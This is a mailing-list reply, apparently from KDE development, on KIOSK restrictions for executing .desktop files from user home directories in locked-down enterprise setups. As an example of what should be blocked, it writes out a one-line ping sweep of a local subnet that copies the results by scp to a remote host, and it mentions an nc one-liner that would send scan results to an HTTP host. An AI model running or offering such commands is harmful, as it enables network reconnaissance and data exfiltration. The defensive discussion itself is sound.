Hi, On 10.12.2016 21:57, David Faure wrote: > Is this a bug? Should KDesktopFile::isAuthorizedDesktopFile refuse executing > files from $HOME, even in standard locations like > ~/.local/share/applications,
I do not think this is a bug, but enterprise environments have sometimes the requirement to lock down the system via configuration. I know, this is not very nice for the maintainer to maintain several usecases. But the possibility to completely configure KDE to our needs was the reason to go with it. :-) > if run_desktop_files is not authorized? Or do we need a different KIOSK > setting > for this because there are use cases for both? There are several usecases/requirements if i may chime in =) Ours would go even further: 1. It is not possible to execute .desktop files which reside in user-controlled-places at all. This is the case if we do not want almost any modification and a tightly restricted environment for public computers. 2. It is possible for users to have .desktop-files in user-controlled-places for execution, BUT these desktop files may only call programs in system-paths without any arguments or parameters. This is the case if we want that users CAN place desktop-files of their standard-programs like email or office on their desktop, but it should not be possible to create a desktop file which executes a nc-onliner which scans your system and pushes the result to an http-host. so, like /usr/bin/loffice can be started, but stuff like "date && for i in $(seq 250 254) ; do ping -c 1 "192.168.178.$i" >> file ; done && scp file user@remotehost" is not possible to execute. > (1) see KDesktopFile::isAuthorizedDesktopFile in kconfig > (2) see krun.cpp in kio > (3) see kpropertiesdialog.cpp in kio. Hmm, there's possible another bug > there, > the permissions dialog always appears, allowing people to make desktop files > executable, what is blocked by run_desktop_files is the desktop-files-plugin, > i.e. modifying the Exec line. IMO there are use cases for the already existing restrictions too, since typically we sometimes have not the possibility to lockdown the system entirely outside of KDE. For example, you sometimes cannot mount /home non-executable since there is 3rd-party-crap like Cisco Anyconnect which downloads stuff from the CISCO-vpn-server into YOUR HOME and executes it with root-permissions(!). I feel there is a permission matrix somewhere in that jungle of restriction possibilities... Yours, Dennis
